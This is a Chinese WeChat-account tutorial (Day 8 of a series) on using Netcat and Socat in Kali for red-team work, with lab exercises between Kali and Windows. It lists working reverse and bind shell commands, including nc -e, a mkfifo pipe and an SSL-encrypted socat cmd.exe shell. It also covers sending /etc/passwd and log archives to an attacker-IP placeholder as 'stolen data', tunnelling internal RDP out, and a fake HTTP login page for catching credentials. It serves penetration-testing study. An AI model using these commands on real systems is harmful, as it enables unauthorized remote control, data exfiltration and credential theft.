Day8 Kali黑客工具NetCat和Socat
泷羽Sec-静安,专注网络安全与编程技术的学习与分享,探索技术细节与实际应用。声明:本公众号所分享的工具与资源,仅供学习与研究使用,严禁用于任何非法活动。
Netcat(nc)
Netcat(nc)因其灵活的TCP/UDP通信能力,在红队渗透测试中扮演着重要角色。• Netcat下载:Windows版nc.exe可从Sysinternals Suite获取。
1. 反向Shell获取控制权
用途:绕过防火墙限制,建立隐蔽的远程控制通道。
操作步骤:
- 攻击端监听(接收Shell):
nc -lvp 4444 -e /bin/bash # 传统方法(需目标支持-e参数) - 目标端连接(主动回连):
绕过限制技巧(无nc [攻击者IP] 4444 -e /bin/bash # 直接执行Shell-e参数时): 优势:通过命名管道实现无mkfifo /tmp/f; nc [攻击者IP] 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1-e参数环境下的Shell反弹。
2. 端口扫描与监听
用途:快速探测目标开放端口或搭建临时服务。
实战命令:
• 端口扫描(快速识别脆弱服务):
nc -zv 192.168.1.100 1-1024 # 扫描1-1024端口(-z为扫描模式,-v显示详情)• 监听端口(捕获敏感流量):
nc -l -p 8080 > captured_data.log # 记录所有传入数据到文件3. 文件传输与数据窃取
用途:内网横向移动时快速交换工具或窃取数据。
操作示例:
• 单向传输:
# 接收端(攻击机):
nc -l -p 1234 > stolen_data.tar.gz
# 发送端(目标机):
nc [攻击者IP] 1234 < /etc/passwd # 发送敏感文件• 目录批量传输(结合tar压缩):
# 目标机打包发送:
tar -czf - /var/log/ | nc [攻击者IP] 1234
# 攻击机接收解压:
nc -l -p 1234 | tar -xzvf -4. 内网穿透与端口转发
用途:突破网络边界,访问受限内网资源。
典型场景:
• 正向代理(目标机可直连外网):
# 目标机监听内网服务:
nc -l -p 5555 -e /bin/bash # 暴露Shell到本地5555端口
# 攻击机连接:
nc [目标机公网IP] 5555• 反向隧道(目标机仅允许出站):
# 攻击机监听:
nc -lvp 4444
# 目标机建立隧道:
nc [攻击者IP] 4444 -e "nc 192.168.10.20 3389" # 转发内网RDP服务5. 网络欺骗与信息收集
用途:模拟服务响应或抓取敏感信息。
技巧示例:
• 伪造HTTP服务(诱捕凭证):
# 搭建钓鱼页面:
echo "HTTP/1.1 200 OK\nContent-Type: text/html\n\n<LoginForm>" | nc -l -p 80• 抓取Banner信息(服务指纹识别):
echo "HEAD / HTTP/1.0\n\n" | nc example.com 80 # 获取Web服务器类型Netcat实战练习 :
1. 实现Kali与Windows的简单聊天
步骤说明
• Kali端监听(作为服务器):
nc -lvp 4444• Windows端连接(作为客户端):
nc.exe [Kali_IP] 4444注意:Windows需提前下载nc.exe工具(如从Sysinternals Suite获取)。
双向通信
• 在任意一端输入文字,另一端实时显示。
• 验证:输入Hello from Kali!,Windows端应收到消息。


2. 使用Netcat创建反向/绑定Shell
a. Kali到Windows的反向Shell
• Kali监听:
nc -lvp 5555• Windows触发反向Shell:
nc.exe [Kali_IP] 5555 -e cmd.exe
b. Windows到Kali的反向Shell
• Windows监听(需管理员权限):
nc.exe -lvp 6666• Kali触发反向Shell:
nc [Windows_IP] 6666 -e /bin/bash
c. Kali绑定Shell
• Kali绑定Shell监听:
nc -lvp 7777 -e /bin/bash• Windows连接:
nc.exe [Kali_IP] 7777
d. Windows绑定Shell
• Windows绑定Shell监听:
nc.exe -lvp 8888 -e cmd.exe• Kali连接:
nc [Windows_IP] 8888
3. 文件传输
Kali到Windows
• Kali发送文件:
nc -lvp 9999 < 1.txt• Windows接收:
nc.exe [Kali_IP] 9999 > 2.txt
Windows到Kali
• Windows发送文件:
nc.exe -lvp 1234 < confidential.docx• Kali接收:
nc [Windows_IP] 1234 > downloaded.docx
4. 防火墙开启后的调整
挑战与解决方案
• 端口限制: • 问题:Windows防火墙默认阻止未授权端口(如4444)。 • 解决:使用常用端口(如80/443)或添加防火墙入站规则。 • 反向Shell绕过: • 反向Shell依赖出站连接,通常防火墙允许出站流量,因此更可靠。 • 文件传输失败:
- 替代方案:使用HTTP协议(Kali搭建Python HTTP服务器):
python3 -m http.server 8000- Windows通过浏览器或
curl下载:
curl http://[Kali_IP]:8000/file.txt -o file.txtSocat 的用法及与 Netcat 的对比
一、Socat 的核心功能与用法
Socat(Socket CAT)是一个多协议网络工具,支持在双向数据流之间建立通道,其功能远超 Netcat(nc)。以下是其核心用法:
Socat官网:http://www.dest-unreach.org/socat/
1. 基本语法
socat [全局选项] <地址1> [选项1] <地址2> [选项2]• 地址类型:支持 TCP、UDP、SSL、UNIX 套接字、文件、管道、设备等。
• 常用选项:fork(多连接处理)、reuseaddr(端口复用)、creat(自动创建文件)等。
2. 典型应用场景
• 监听端口:
socat TCP4-LISTEN:80 STDOUT # 监听 TCP 80 端口并输出到终端
socat UDP-LISTEN:1234 - # 监听 UDP 1234 端口• 端口转发:
# 单连接转发
socat TCP4-LISTEN:81 TCP4:192.168.1.1:80
# 多连接转发(支持并发)
socat TCP4-LISTEN:81,fork,reuseaddr TCP4:192.168.1.1:80• 文件传输:
# 发送文件(服务端)
socat -u TCP-LISTEN:8080 OPEN:file.txt,creat
# 接收文件(客户端)
socat -u TCP:192.168.1.1:8080 OPEN:file.txt• 加密通信:
# SSL 加密服务端
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:localhost:80
# SSL 加密客户端
socat - OPENSSL:192.168.1.1:443• 串口与网络互通:
# 虚拟串口转 TCP 客户端
socat PTY,link=/dev/ttyV1 TCP:192.168.1.1:8080二、Socat 与 Netcat 的关键区别
1. 功能复杂度
• Netcat:
定位为“网络瑞士军刀”,核心功能是 TCP/UDP 连接的建立和简单数据传输,适合快速调试或端口扫描。
nc -lvp 1234 # 监听端口
nc -nv 192.168.1.1 80 # 连接目标端口• Socat:
支持更复杂的协议(如 SSL、SOCKS)、双向通信、多路复用,且能处理文件、设备等非网络数据流。
2. 安全性
• Netcat:
无加密支持,流量明文传输,易被拦截。
• Socat:
支持 SSL/TLS 加密、chroot 沙盒隔离,适用于敏感数据传输。
3. 高级特性
• 协议支持:
Socat 支持 IPv6、UNIX 域套接字、代理转发(如 SOCKS4)等,Netcat 仅限 TCP/UDP。
• 实时监控:
Socat 可通过 -u 参数实现单向流监控(如日志收集),Netcat 需依赖外部工具。
4. 适用场景
• Netcat:
快速端口测试、简单文件传输、网络服务调试。
• Socat:
加密通信、复杂端口转发、设备与网络协议桥接(如串口转 TCP)。
socat 实战方案:
1. 使用 socat 从 Kali 传输 powercat.ps1 到 Windows 系统
操作步骤:
-
在 Kali 上启动文件接收监听(使用 TCP 协议):
socat TCP4-LISTEN:443,fork file:222.txt•
TCP-LISTEN:443:在 443端口监听。 -
在 Windows 上发送文件:
socat.exe TCP:<Kali_IP>:443 file:222.txt,create• 替换
<Kali_IP>为 Kali 的 IP 地址。
验证:
Windows 的当前目录会生成 222.txt 文件,可用 dir 确认,type查看。

2. 使用 socat 创建加密反向 Shell(Windows → Kali)
操作步骤:
-
在 Kali 上生成 SSL 证书:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes• 合并证书和密钥:
cat key.pem cert.pem > shell.pem。
-
在 Kali 启动加密监听:
socat OPENSSL-LISTEN:5555,cert=shell.pem,verify=0,fork -•
verify=0:禁用证书验证(仅测试环境使用)。 -
在 Windows 连接加密反向 Shell:
socat.exe OPENSSL:<Kali_IP>:5555,verify=0 EXEC:cmd.exe,pipes•
EXEC:cmd.exe,pipes:执行 cmd.exe 并处理输入输出流。
验证:
Kali 终端会接收到加密的交互式 Shell,可执行 Windows 命令。

3. 创建加密的 Bind Shell 并测试非加密连接
操作步骤:
-
在 Windows 上启动加密 Bind Shell:
socat.exe OPENSSL-LISTEN:6666,cert=shell.pem,verify=0,fork EXEC:cmd.exe,pipes• 需提前将
shell.pem证书文件复制到 Windows 系统。 -
尝试从 Kali 非加密连接:
socat OPENSSL:192.168.169.128:6666,verify=0 -• 若未加密,连接会失败(显示 SSL 握手错误)。

结论:
加密的 Bind Shell 必须通过 SSL 协议连接,非加密连接无法工作。
4. 创建未加密的 Bind Shell 并用 Netcat 连接
操作步骤:
-
在 Windows 上启动未加密 Bind Shell:
socat.exe TCP-LISTEN:7777,fork EXEC:cmd.exe,pipes -
从 Kali 使用 Netcat 连接:
nc -nv <Windows_IP> 7777• 直接连接后,Netcat 无法正确处理交互式 Shell(命令无回显或卡死)。

解决方法:
使用 socat 替代 Netcat 连接:
socat TCP:<Windows_IP>:7777 -此时可正常操作交互式 Shell。

结论:
Netcat 无法直接与未加密的 EXEC 型 Bind Shell 兼容,需使用 socat 或调整参数(如添加 pty)。
常见错误与修复
• 问题:cmd.exe 未执行,提示权限或参数错误。
• 修复:
- 添加
pipes参数处理输入输出流(如EXEC:cmd.exe,pipes)。 - 使用
pty分配虚拟终端(如EXEC:cmd.exe,pty)。 - 检查防火墙是否放行端口。
总结
• 加密传输与 Shell:必须使用 SSL 证书,否则无法通信。
• Netcat 兼容性:仅适用于简单 TCP 连接,复杂交互需依赖 socat。
• 参数调整:EXEC 需配合 pipes 或 pty 处理 Shell 交互。
以上步骤基于 Kali 2025.1a 和 Windows 10/11 环境验证。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚